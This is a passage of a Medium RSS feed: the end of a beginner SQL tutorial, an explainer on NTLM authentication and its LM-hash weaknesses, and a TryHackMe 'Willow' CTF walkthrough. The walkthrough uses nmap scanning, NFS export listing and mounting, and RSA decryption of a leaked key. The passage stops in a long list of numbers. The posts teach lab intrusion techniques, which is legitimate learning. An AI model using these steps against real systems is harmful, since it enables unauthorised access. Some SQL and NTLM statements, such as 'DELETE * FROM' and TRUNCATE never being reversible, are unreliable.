FROM table_name <br>WHERE condition;</pre><p>please note that without the where clause this query will delete all rows from the column “just like TRUNCATE”</p><pre>DELETE FROM Customers<br>WHERE CustomerID = 92;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*6skinkFRPv-eON-ezrqZ0Q.png" /><figcaption>before applying the delete</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*OPCr1YFYjwmbBYh9r8bxHg.png" /><figcaption>after applying the delete</figcaption></figure><p>DELETE FROM vs TRUNCATE</p><p>The TRUNCATE statement is a DDL (Data Definition Language) operation used to quickly and efficiently remove all rows from a table. When you truncate a table, the operation is not logged in the transaction log, and the space used by the table’s data pages is deallocated. TRUNCATE is a non-recoverable operation, meaning you cannot roll it back. It is often faster than DELETE for removing all data from a table.</p><p>on the other hand</p><p>The DELETE statement is a DML (Data Manipulation Language) operation used to remove specific rows from a table. When you use DELETE * FROM table_name, it deletes all rows in the table, effectively achieving the same result as TRUNCATE. However, unlike TRUNCATE, DELETE is a logged operation, and each deleted row is recorded in the transaction log. DELETE can be rolled back, and it allows you to specify conditions to delete specific rows based on criteria.</p><p>Now let’s move on to another table “Products.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*WCHcIhUGQZOwyMXcDofuDg.png" /><figcaption>sample of the table</figcaption></figure><p>Now we want to know the minimum, maximum price in the table.</p><p>We will use some functions called aggregate functions.</p><pre>SELECT MIN(Price) AS &#39;The smallest price&#39;<br>FROM Products; -- for the minimum </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NeZZVVNtKn9TwzYD2f0lZA.png" /><figcaption>The result of the previous query</figcaption></figure><pre>SELECT MAX(Price) AS &#39;The largest price&#39;<br>FROM Products; -- for the maximum</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ZUkmyWz32PrkDjiPjx6QQ.png" /><figcaption>The result of the previous query</figcaption></figure><p>Now we want to know the number of the products.</p><p>We should count a unique entity in the products which is the ID.</p><p>So we should use the COUNT() function on the ProductID column.</p><pre>SELECT COUNT(ProductID) AS &#39;products number&#39;<br>FROM Products;</pre><p>The result is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qrF9JlfRSqTaQau24i2twg.png" /><figcaption>The result of the previous query</figcaption></figure><p>we also want to know the average price of the products</p><p>so we will use AVG() function on the price column</p><pre>SELECT AVG(Price) AS &#39;Price Average&#39; <br>FROM Products;</pre><p>let me introduce you to another table in our database</p><p>OrderDetails table</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*Wx8054RTeu0K4dCY07gAdg.png" /><figcaption>sample from the OrderDetails table</figcaption></figure><p>Now we want to know the number of the quantities sold.</p><p>We will use the SUM() function on the Quantity column.</p><pre>SELECT SUM(Quantity) AS &#39;Quantities sold&#39;<br>FROM OrderDetails;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mn_spH_3EKzEDzhMvikW6g.png" /><figcaption>The result of the previous query</figcaption></figure><p>let’s get back to “Customers” table.</p><p>we want to know the Customer IDs in countries Mexico, Sweden, Switzerland</p><p>we will use the IN operator.</p><pre>SELECT CustomerID , Country<br>FROM Customers<br>WHERE country IN (&#39;Mexico&#39;,&#39;Sweden&#39;,&#39;Switzerland&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SohT_XX-Gq3-KJyYEb4XJQ.png" /><figcaption>The result of the previous query</figcaption></figure><p>let’s go to the “Products” table</p><p>we want to know the product name of the products where their price is between 20 and 25.</p><p>we will use the between operator.</p><p>note that between operator is INCLUSIVE which means that it includes the first and the last value.</p><pre>SELECT ProductName FROM Products<br>WHERE Price BETWEEN 20 AND 25;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OE0LPE2uxrmTVPjeVq75NQ.png" /><figcaption>The result of the previous query</figcaption></figure><p>Now imagine we want to know the date of the orders made by the costumers with their names .</p><p>But hold on these two information are in different tables.</p><p>The solution of this problem is the JOINS</p><p>Here are the different types of the JOINs in SQL:</p><ul><li>(INNER) JOIN: Returns records that have matching values in both tables</li><li>LEFT (OUTER) JOIN: Returns all records from the left table, and the matched records from the right table.</li><li>RIGHT (OUTER) JOIN: Returns all records from the right table, and the matched records from the left table.</li><li>FULL (OUTER) JOIN: Returns all records when there is a match in either left or right table.</li></ul><p>NOTE If the INNER JOIN and LEFT JOIN produce the same result, it means that there are no non-matching rows between the two tables based on the join condition. In other words, all the rows from the left table in the LEFT JOIN have a matching row in the right table.</p><p>Even if the result is the same in a specific scenario, it’s still recommended to choose the join type (INNER JOIN or LEFT JOIN) based on the semantics and data relationships to ensure clarity and convey the intended meaning of the query.</p><p>The same thing applies for the RIGHT JOIN</p><p>Back to our problem</p><p>In this problem we should use the inner join to retreive all the names that has order date</p><p>First we must find the common column</p><p>The common column is the <strong>CustomerID</strong></p><p>Now we have all the data we need, Let’s code</p><pre>SELECT o.OrderID AS &#39;order ID&#39;, c.CustomerName AS &#39;Customer Name&#39; , o.OrderDate AS &#39;Order date&#39;<br>FROM Orders AS o -- left table<br>INNER JOIN  Customers AS c -- right table <br>ON o.CustomerID=c.CustomerID; -- common column</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bi9vOKkGkQ6OnuoJlx-slg.png" /><figcaption>sample of the result</figcaption></figure><p>Please note that you must use the aliases you made for the tables otherwise your query will generate errors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b8KxgfV6MQA6FDQPm6GJmQ.png" /><figcaption>This drawing simplifies the joins.</figcaption></figure><p>Let me introduce you to a new table which is the “Suppliers” table</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*XmOxbMqtuLAh4UhbbatZHw.png" /><figcaption>sample from the table</figcaption></figure><p>Now we want to know all the cities recorded in our database with no duplicates.</p><p>we will use the UNION keyword.</p><pre>SELECT City FROM Customers<br>UNION<br>SELECT City FROM Suppliers<br>ORDER BY City;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1FlzbgRnBd0pDxZQsZocUw.png" /><figcaption>Sample of the answer</figcaption></figure><p>Note if you want the duplicates just add ALL to UNION</p><pre>SELECT City FROM Customers<br>UNION ALL<br>SELECT City FROM Suppliers<br>ORDER BY City;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYIkkuEsZyQ-162-84sYYw.png" /><figcaption>Sample of the answer “note the number of records increased.”</figcaption></figure><p>If we want to know the common cities in the two tables</p><p>we will use INTERSECT clause</p><pre>SELECT City FROM Customers<br>INTERSECT <br>SELECT City FROM Suppliers<br>ORDER BY City;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h0LlbOcwcoTOryvbviMqhw.png" /><figcaption>The result of the previous query</figcaption></figure><p>if we want to know the cities in the Customers table and not in the Suppliers</p><p>we will use EXCEPT clause.</p><pre>SELECT City FROM Customers<br>EXCEPT <br>SELECT City FROM Suppliers<br>ORDER BY City;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ttgvhKSAVN_ooxbyoqxnSg.png" /><figcaption>Sample of the result</figcaption></figure><p>Back to the Customers table.</p><p>We want to know how many customers in each country.</p><p>we should now use keyword called GROUP BY</p><p>The GROUP BY statement groups rows that have the same values into summary rows</p><p>it is often used with aggregate functions (COUNT(), MAX(), MIN(), SUM(), AVG()) to group the result-set by one or more columns.</p><p>Let’s get back to our example.</p><pre>SELECT COUNT(CustomerID), Country<br>FROM Customers<br>GROUP BY Country;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rMmAZz3-3UWaPTNIkDUoVg.png" /><figcaption>The result of the previous query</figcaption></figure><p>Note, if you want to add condition to the group by use HAVING clause rather than WHERE clause because WHERE don’t accept any agg. functions.</p><p>For example:</p><pre>SELECT COUNT(CustomerID), Country<br>FROM Customers<br>GROUP BY Country<br>HAVING COUNT(CustomerID) &gt; 5;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XHVnr-OP2MXZoTXxGvhsPg.png" /><figcaption>The result of the previous query</figcaption></figure><p>Now we want the postal code of the customers that ordered from the employee with the ID = 7</p><p>We will use something called subquery</p><p>Subqueries, also known as nested queries or sub selects, are queries embedded within another query in SQL. A subquery is used to retrieve data from one or more tables and use that result within the context of another query.</p><p>Note “Subqueries take some time to be executed.”</p><p>Let’s code!</p><pre>SELECT PostalCode AS &#39;postal code&#39;<br>FROM Customers<br>WHERE CustomerID  IN (SELECT CustomerID FROM Orders WHERE EmployeeID = 7);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kXR0LV78bE8Prn6zJQ_GdQ.png" /><figcaption>The result of the previous query</figcaption></figure><p>Note, we can use the Subqueries in SELECT , WHERE , HAVING , FROM keywords</p><p>Finally there is something we want to know which is the sequence of the keywords</p><p>which keyword executed the first ?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*xuiIosnz4WZc-sh7nftuYg.jpeg" /><figcaption>This photo explains it all.</figcaption></figure><p>The SQL , is a key skill across every area of data science. Jobs that require SQL knowledge include data analyst, business intelligence developer, data engineer, data architect and software engineer.</p><p>I enjoyed the article , And again thanks to my friend <a href="https://medium.com/u/5076e7aa2092">Beshoy Qulta</a> without him I can’t write article or even interested in SQL</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=780f745197f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[THE NTLM AND NTLMV2 AUTHENTICATION PROTOCOL]]></title>
            <link>https://medium.com/@N1NJ10/the-ntlm-and-ntlmv2-authentication-protocol-ec8ffa2d7c8b?source=rss-9988103996ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec8ffa2d7c8b</guid>
            <category><![CDATA[ntlm]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ntlmv2]]></category>
            <category><![CDATA[protocol]]></category>
            <category><![CDATA[networking]]></category>
            <dc:creator><![CDATA[N1NJ10]]></dc:creator>
            <pubDate>Sat, 13 May 2023 14:20:46 GMT</pubDate>
            <atom:updated>2023-05-13T14:21:13.960Z</atom:updated>
            <content:encoded><![CDATA[<h3>THE NTLM/NTLMV2 AUTHENTICATION PROTOCOLS</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*D8OpacFVN2OnLafWiH6g3Q.jpeg" /><figcaption>Hello , N1NJ10</figcaption></figure><p>Welcome N1NJ10, Today we will discuss a new topic what is NTLM/V2, How it work , can we crack it, and many topics in detail as we know from the previous articles</p><p>Let’s start</p><p>First, let’s define <strong>What is NTLM Protocol and Why we need it </strong>?</p><p>NTLM is a suite of authentication and session security protocols used in various Microsoft network protocol implementations and supported by the NTLM Security Support Provider (“NTLMSSP”). Originally used for authentication and negotiation of secure DCE/RPC, NTLM is also used throughout Microsoft’s systems as an integrated single sign-on mechanism.</p><p>It uses in many apps such POP3, SMTP, IMAP, SMB, …..</p><p>The NTLM Security Support Provider provides :</p><ul><li><strong>Authentication :</strong>NTLM provides a challenge-response authentication mechanism, in which clients are able to prove their identities without sending a password to the server.</li><li><strong>Signing :</strong>The NTLMSSP provides a means of applying a digital “signature” to a message. This ensures that the signed message has not been modified (either accidentally or intentionally) and that the signing party has knowledge of a shared secret. NTLM implements a symmetric signature scheme (Message Authentication Code, or MAC); that is, a valid signature can only be generated and verified by parties that possess the common shared key.</li><li><strong>Sealing : </strong>The NTLMSSP implements a symmetric-key encryption mechanism, which provides message confidentiality. In the case of NTLM, sealing also implies signing (a signed message is not necessarily sealed, but all sealed messages are signed).</li></ul><p>Ok now we know the importance of NTLM protocol <strong>let’s see how it works</strong></p><ul><li>Frist The client sends a Type 1 message to the server. This primarily contains a list of features supported by the client and requested of the server.</li><li>Second The server responds with a Type 2 message. This contains a list of features supported and agreed upon by the server. Most importantly, however, it contains a challenge generated by the server.</li><li>Third The client replies to the challenge with a Type 3 message. This contains several pieces of information about the client, including the domain and username of the client user. It also contains one or more responses to the Type 2 challenge.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*8aAAOYfUamT40grUSQ-SsQ.png" /><figcaption>3_Types</figcaption></figure><p>But what is Type 1,2,3 massage is ??</p><p><strong>Type 1 massage</strong></p><ul><li>The Type 1 message is sent from the client to the server to initiate NTLM authentication. Its primary purpose is to establish the “ground rules” for authentication by indicating supported options via the flags. Optionally, it can also provide the server with the client’s workstation name and the domain in which the client workstation has membership; this information is used by the server to determine whether the client is eligible for local authentication. You can see important information for it such Domain Name , Workstation Name , Account , Host Name , …</li></ul><p>Here is a Wireshark screenshot :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pfmNH-EgPqUrXDE1Gl9oBg.png" /><figcaption>Type_1_massage</figcaption></figure><p><strong>Type 2 massage</strong></p><ul><li>The Type 2 message is sent by the server to the client in response to the client’s Type 1 message. It serves to complete the negotiation of options with the client, and also provides a <strong>challenge </strong>to the client. It may optionally contain information about the authentication target. You can got Target Information structure , challenge , …</li></ul><p>But what is the challenge ?</p><p>Ok first you need to know that all you credentials are saved into the NTLM server so he know your Username , Password</p><p>The small pic :</p><p>The server need to identify that you are the real person you enter his Username , So he makes a good trick he sends to you a random string and from your saved Password he generates 3 DES keys and encrypted it with these keys and send you the random string he generates and asks you to encrypte this string with your Password In the same way as i encrypte them</p><p>If the User send the same encrypted string as the server , So he is the real user make him in , If not <strong>This incident will be reported</strong></p><blockquote>N0tes : <a href="http://ubiqx.org/cifs/SMB.html#SMB.8">how the challenge be made in detailed</a></blockquote><blockquote>- The password you inter is converted to uppercase fady → FADY → 0x46414459 cuz This significantly reduces the set of possible passwords that must be tested in a brute-force attack.</blockquote><blockquote>- This password is null-padded to 14 bytes → 0x46414459000000 ,</blockquote><blockquote>- split into two 7-byte halves 0x4641445-0x9000000 , We can exploit it if the password is seven or fewer characters, the second value will be 7 null bytes. This effectively compromises half of the LM hash (as it will always be the ciphertext of “KGS!@#$%” encrypted with the DES key “0x0101010101010101” — the constant “0xaad3b435b51404ee”). This in turn compromises the three DES keys used to produce the response.</blockquote><p>Here is a Wireshark screenshot :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gDxHn8pDPdTCbNTHOD4-ww.png" /><figcaption>Type_2_massage</figcaption></figure><p><strong>Type 3 massage</strong></p><ul><li>The Type 3 message is the final step in authentication. This message contains the client’s responses to the Type 2 challenge, which demonstrate that the client has knowledge of the account password without sending the password directly. The Type 3 message also indicates the authentication target (domain or server name) and username of the authenticating account, as well as the client workstation name , Response , Target Information structure , …</li></ul><p>Here is a Wireshark screenshot :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WFdLvcf_3qlhnr_qfTC9kg.png" /><figcaption>Type_3_massage</figcaption></figure><p>The NTLM authentication protocol, especially v1, poses a serious security threat to any IT environment and every hacker should know how it works and how exploit it</p><p>in the future articles we will discuss how to exploit this protocol in several ways , stay tuned</p><p>I enjoyed the article , and would post more future security stuff in the future.</p><p>My Resource</p><p><a href="https://davenport.sourceforge.net/ntlm.html#whatIsNtlm">https://davenport.sourceforge.net/ntlm.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec8ffa2d7c8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme Willow challange]]></title>
            <link>https://medium.com/@N1NJ10/tryhackme-willow-challange-b92ee0946ddf?source=rss-9988103996ed------2</link>
            <guid isPermaLink="false">https://medium.com/p/b92ee0946ddf</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[N1NJ10]]></dc:creator>
            <pubDate>Tue, 09 May 2023 04:19:41 GMT</pubDate>
            <atom:updated>2023-05-09T04:19:41.583Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5eoDSIfN7pkpyiIGI6UWFA.jpeg" /><figcaption>What lies under the Willow Tree?</figcaption></figure><p>Hello N1NJ10, Today we will talk about tryhackme medium challenge called Willow it’s very good for whom love cryptography, coding, creativity, and Privilege Escalation.</p><p>Let’s start N1NJ10</p><p>First, let’s see if we can reach our target with the ping command, After that we will make a port scanning with NMAP</p><pre>nmap -T4 -Pn --disable-arp-ping -A -n -sV -p- &lt;IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*38ZhhMWWjaZCUsPvPtxmXA.png" /><figcaption>Nmap~result</figcaption></figure><p>Ok, we seem have HTTP server and NFS protocols here let’s start with HTTP</p><blockquote>Note : what is <a href="https://www.atera.com/blog/what-is-nfs-understanding-the-network-file-system/">NFS protocol</a> , <a href="https://www.howtouselinux.com/post/understanding-rpcbind-and-rpc">rpcbind</a> and <a href="https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting">how to exploit them</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q3N6uTJ0LLqR6DdqXF03Vg.png" /><figcaption>HTTP~page</figcaption></figure><p>seems like HexaDecimal let’s copy this text</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*17sSWetwH8Vg63Ilm4IXOg.png" /><figcaption>copy_the_text</figcaption></figure><p>Then identify what does it say with <a href="https://gchq.github.io/CyberChef/">CyberChef</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yk7ePb86cBgHQPxqzRN0ug.png" /><figcaption>Cyber_Chef</figcaption></figure><p>It said you know where is the decryption key is, Maybe there is something in NFS files we can access</p><pre>showmount -e &lt;IP&gt; </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*o-I1U8kHmPUmzUXUOIGDdQ.png" /><figcaption>show~mount</figcaption></figure><p>There is a failsafe dir let’s mount it</p><pre>mount -t nfs -o vers=2 &lt;IP&gt;:/var/failsafe ./play/ -o nolock</pre><blockquote>explain : <strong>-t</strong> for the service , <strong>vers</strong> for version , &lt;<strong>IP&gt;:/var/failsafe</strong> the file path on the server , <strong>./play/</strong> the place i wanna the file to be saved on my PC and <strong>-o nolock </strong>— Disables file locking. This setting is occasionally required when connecting to older NFS servers</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*4dcCsoUhTZ6LiMjWNzzvlg.png" /><figcaption>mounted!!</figcaption></figure><p>I opened the dir and get the file called rsa_keys</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/398/1*PNex2bAgLi7XpAfHhQgS6Q.png" /><figcaption>rsa_keys_file</figcaption></figure><p>First i don’t understand what is this sh*t mean i try to find any solution for this puzzle but with no avail, unitl i find that there is hint in the firt question</p><p><a href="https://muirlandoracle.co.uk/2020/01/29/rsa-encryption/">RSA Encryption | MuirlandOracle | Blog</a></p><p>After reading this amazing article i understand how to solve this puzzle, I found couple of solutions</p><p>Frist one Without any tiredness, We have the private key and n=37625 , d=61527 , So we have all schema parameters (encrypted_key^ d % n) = private_key</p><p>I found this website that can solve this schema to us</p><p><a href="https://www.cs.drexel.edu/~jpopyack/Courses/CSP/Fa17/notes/10.1_Cryptography/RSA_Express_EncryptDecrypt_v2.html">RSA Calculator</a></p><p>Let’s but our parameters</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-hOFol7UZUNRtYbILGY_cw.png" /><figcaption>Pingo</figcaption></figure><p>Now we get our private key</p><p>the second one is to build a python script make this for us</p><pre>numric_private_key = &quot;2367 2367 2367 2367 2367 9709 8600 28638 18410 1735 33029 16186 28374 37248 33029 26842 16186 18410 23219 37248 11339 8600 33029 35670 8600 31131 2367 2367 2367 2367 2367 14422 26842 9450 14605 19276 2367 11339 33006 36500 4198 33781 33029 11405 5267 8600 1735 17632 16186 31131 26842 11339 8600 35734 14422 35734 8600 35670 2367 18410 35243 37438 14605 33781 33029 37248 8600 28374 2367 22149 27582 3078 2367 17632 9709 17632 5267 27582 8600 27582 23721 11405 13256 33985 37248 18278 33985 27582 26775 23721 26775 27582 22149 3078 3078 9709 11405 33985 18278 17632 37248 37248 33443 8600 18278 18278 27582 18330 13256 14422 14422 28061 10386 23219 10386 3339 25111 22053 21889 31131 33856 3339 16186 28061 7496 14605 22149 5851 35243 11339 33985 35243 22872 33443 33856 33443 22149 33856 8452 11339 7568 22053 22149 3947 29609 9709 35243 5851 11405 18199 13256 33215 33985 7568 33215 12244 5444 22053 14605 10386 7496 33215 3339 9709 10386 21889 8452 28061 28374 8499 12792 18199 20172 19276 8499 14422 22102 19396 12244 28061 23721 8452 27582 5851 19276 28374 12244 23721 26775 28374 18199 35243 13256 28927 23219 35243 35734 3339 33215 3339 22149 36500 14605 21404 27582 1735 35243 28638 12792 7496 27582 28061 33856 33856 28927 7568 11339 37438 37438 8452 3078 28374 28638 3339 9709 28927 28638 35243 19276 35734 4198 7914 18278 8600 37248 9709 18199 19276 20172 22149 14422 5444 11339 7496 12792 28638 7568 18199 29655 35243 21889 18199 12792 20172 31131 21404 20172 37248 33443 22053 21889 11339 7358 11339 21889 25111 5851 17632 21404 8499 12244 27582 21889 7496 37438 37248 21889 35734 33215 12244 8499 23219 18199 12792 31131 35670 12244 28638 37248 28927 28374 1735 4198 19396 8600 8600 27582 17632 20172 23219 29609 27582 8499 26775 27582 14422 13256 18199 9709 29609 1735 8600 20172 28638 7568 28927 35734 8600 18410 3339 7496 19276 3078 22149 29655 18278 18278 17632 31131 7568 31131 7358 11405 9450 8452 22053 9450 13256 33856 7914 8452 36500 17632 7358 3947 33215 28638 11339 18278 35734 28374 23721 11339 5444 29609 27582 17632 33215 22872 21889 18199 3078 11339 17632 5444 33006 8452 28374 33215 8499 14422 28374 33856 12244 35670 22149 10386 36500 22102 12244 7568 5444 11405 26775 13256 11339 31131 20172 2950 7358 16186 21889 33215 3339 8499 7568 23219 22053 35670 33006 29655 22872 23721 23787 35243 26842 7568 26775 19396 12244 19396 3947 27582 10386 7496 27582 35734 33215 5444 33856 29655 20172 12244 14605 25111 2950 23787 8499 28061 3947 21404 18199 31131 7358 18330 14422 28061 3078 21889 22872 28927 33985 13256 33443 35734 8499 37248 8499 22102 18278 19396 33985 9450 26775 28374 11339 14605 31131 22872 12792 25111 8499 7914 18410 28061 25111 23219 8600 33215 22149 11405 33985 9709 2950 7358 17632 28374 11339 18199 8499 7358 33215 12244 27582 18199 14605 22102 28374 7358 3947 26842 27582 8600 18199 8600 18330 27582 18330 28927 22053 14422 22053 22053 33443 33006 5851 11339 35670 33215 18199 21889 33006 31131 27582 3339 7914 7496 13256 26775 31131 7496 26775 35670 19276 3947 23721 31131 3947 33006 36500 26775 19396 12792 5444 11339 7358 17632 7496 14605 36500 28638 8452 35670 21889 22149 19276 33856 7568 4198 3078 37248 12244 33985 8452 18330 9709 7358 9709 18330 22102 25111 7358 10386 7914 7358 14422 31131 16186 3078 26775 22149 1735 21889 9709 18278 18410 18410 29655 5851 18199 26842 22053 28374 19396 33443 21889 22872 26842 7496 11339 8499 22102 33985 28927 5851 36500 14605 28927 31131 36500 26842 28638 29609 28374 12244 9709 1735 7358 37248 22102 33985 23219 1735 23219 35670 33006 4198 16186 29609 22053 28061 37438 7358 22053 8452 26842 18330 7914 35670 26842 14422 29655 3078 5851 8600 21404 33215 16186 5851 29655 17632 27582 35734 35670 23787 18278 35670 22872 5851 21404 8452 3339 20172 18278 7496 7358 36500 19396 33006 17632 10386 10386 8452 28638 29609 9709 22053 3947 27582 26775 21889 22149 37248 7496 18330 3078 7568 18199 12792 7358 37438 36500 36500 37438 22149 18278 31131 19396 22149 18278 33215 3947 35670 18330 35670 14422 10386 8452 35243 37438 3078 28927 19396 37248 1735 33985 22149 21404 29609 29655 4198 37438 28374 35734 14605 8600 17632 18278 7496 28638 9709 4198 12244 25111 8452 8452 22149 18330 23219 11339 19396 35243 23787 3947 27582 22149 33856 7568 8600 18330 33443 14605 33215 1735 29609 26775 37438 4198 3947 18199 18330 31131 3078 17632 36500 33443 9709 35670 8452 11405 14422 28638 5851 35243 31131 10386 33856 8452 11405 35734 3339 3947 19276 28061 28638 8600 23721 9450 21889 28638 18199 23219 1735 18199 21404 3339 11405 5851 8600 22149 11339 28374 18410 3947 13256 9450 11405 22872 37438 4198 5851 12244 18199 22053 9450 18278 21889 18410 18199 4198 11339 22053 23219 18410 33985 27582 26842 22872 25111 17632 4198 18199 28374 19396 12244 14422 12244 33215 3947 27582 12244 28374 12244 22872 8600 1735 5444 28374 22053 18278 7568 14605 8499 21404 21404 23787 33856 18199 9450 11405 35734 28374 20172 29609 28061 10386 18410 35243 28061 29609 26775 3947 33985 3947 7568 5851 5851 5444 21889 35734 9450 19396 28927 8600 18199 14605 18199 4198 18278 31131 33006 23219 8452 33985 3339 23219 33856 33443 5851 4198 14422 18278 18278 33006 8452 2950 19396 33215 20172 33215 18410 33443 33856 28374 31131 31131 1735 1735 37438 3339 3947 3078 10386 3947 22149 4198 4198 21889 27582 18199 7568 3339 8499 14605 7568 20172 12244 33985 18330 19276 2950 19396 23787 33215 7496 33443 21889 8600 2950 3339 22872 35243 8600 19276 23721 8600 12244 18330 11405 1735 21404 5444 3339 21889 18410 14422 35734 18199 8600 20172 23219 1735 18199 23721 28638 31131 21889 29609 27582 7568 20172 17632 3339 14605 28638 12244 13256 19396 33215 23219 3078 19276 20172 23219 11339 28374 35734 8499 7496 12244 1735 3339 33985 37438 3947 29609 18278 12244 7358 29655 1735 18278 37248 8452 7358 1735 18278 7496 3339 33856 28061 8499 11339 37248 26842 23787 33215 18410 22149 11339 14422 9709 8499 29609 22149 25111 35734 28374 33443 21404 21889 28927 33443 4198 19276 35670 7568 33006 12244 7358 23219 3947 29655 20172 35243 14605 8452 28638 3078 21889 29655 35734 9450 28927 28927 23219 11405 35734 26842 33006 11339 33215 19396 35243 7496 36500 4198 9709 5851 28061 36500 28374 1735 4198 7914 7358 11405 7358 29655 8452 21404 11339 18199 7568 22149 14422 26842 17632 5851 35734 22872 37438 9709 8499 8600 37248 8600 37248 3947 8452 37438 20172 8600 22149 14605 22872 8499 7358 1735 5444 23787 33006 18278 20172 2950 20172 35670 35243 3078 28374 5851 26775 22872 4198 33985 37438 2950 21889 7496 8600 9709 20172 26842 7568 26842 1735 28374 22872 9450 8600 18199 5851 28927 28061 11405 29609 22053 22872 28374 12792 14422 22053 7358 8600 33006 22872 7914 3947 37248 21404 11339 35243 18199 35734 23721 7914 33215 21889 18278 33856 13256 8600 14605 20172 22102 11405 22149 7496 29655 9450 4198 9709 10386 27582 28374 33443 3339 12244 31131 28927 25111 26775 33215 33215 37248 7914 9709 35243 35734 33856 22872 35243 27582 33856 13256 31131 33856 37248 22102 28374 13256 33443 18278 33443 19396 14422 1735 22053 13256 37248 33006 11405 19396 21889 7914 21404 37438 31131 29609 21889 23721 3947 33985 14605 23219 3339 12244 8452 20172 35734 14605 8499 35243 3339 17632 33215 33985 3078 33856 1735 31131 28061 28061 2950 35734 23219 7496 35734 3947 27582 22149 25111 7568 22149 21889 16186 7496 14605 31131 21404 28374 8499 27582 37438 3947 7568 21404 17632 8499 7496 14422 37248 7358 23721 3078 26775 13256 36500 28927 29609 8600 23787 5444 5851 21889 33856 8452 16186 29609 29609 33443 18199 17632 20172 35734 4198 22102 33856 9709 22872 5851 5444 8452 9450 29609 4198 16186 8600 8600 33856 23787 22872 37248 23721 5851 3339 22872 23219 3947 18278 5444 23219 29655 7358 36500 28374 29655 7496 4198 22872 7358 18330 31131 18410 3339 14422 7358 21404 5851 33006 10386 7358 28927 11405 7568 33856 22102 20172 37248 11405 5851 7496 12792 35243 11339 23219 1735 22149 5851 35670 18330 23219 37248 7496 5851 18410 10386 25111 3078 21889 10386 23787 23219 10386 37438 19276 8452 35670 36500 3339 3339 7568 22102 36500 12244 28638 5444 37438 29655 7358 9450 19276 22053 4198 33985 33985 7496 33215 29655 5851 14422 7358 18330 33856 28374 26842 3947 7568 37248 2950 26775 12244 8499 2950 36500 33006 7914 5851 7358 8452 9450 28927 29655 5851 23219 33006 1735 36500 23721 7496 33856 22053 10386 3078 8600 28638 22053 11405 20172 33985 28638 2950 3339 12792 10386 35734 23787 33006 28374 9709 17632 7914 22102 19276 29609 18330 21404 33443 23787 18278 8452 36500 35734 28638 21889 14422 3947 21889 33985 1735 37438 3078 11405 27582 18278 35734 33006 3947 7914 37248 8452 28374 22872 37248 7568 14605 29609 35734 18278 9709 29655 5851 19396 35243 37438 12244 7568 7914 22149 5444 11405 29655 1735 9450 22053 35243 28061 18199 35243 14605 29609 25111 29609 21404 20172 21404 28927 13256 28061 3339 8600 7914 3947 1735 19276 33215 8600 33856 11405 4198 14422 22872 13256 36500 33006 35734 29655 37248 3078 28927 14605 13256 12792 5851 11339 11339 29655 18330 5444 33856 33443 22872 23721 25111 9450 7358 18330 33006 22102 28638 4198 19276 33985 9450 8499 13256 3078 5444 11339 33985 20172 18278 29655 35734 31131 12244 26842 37248 11405 33443 19396 22053 23219 36500 9450 7496 37248 21889 35734 18278 33006 33856 4198 16186 11405 14422 2950 18278 21404 7358 28061 33443 16186 35734 37438 12792 23721 18410 23721 25111 33443 7358 22872 28374 3078 33006 17632 35670 33443 18330 36500 18330 33856 26842 21404 28374 37438 28061 20172 17632 33985 1735 35734 7358 33215 1735 3339 3947 37438 12792 21889 18330 37438 33215 18278 3947 36500 7568 35670 9709 31131 29609 31131 19396 23787 19276 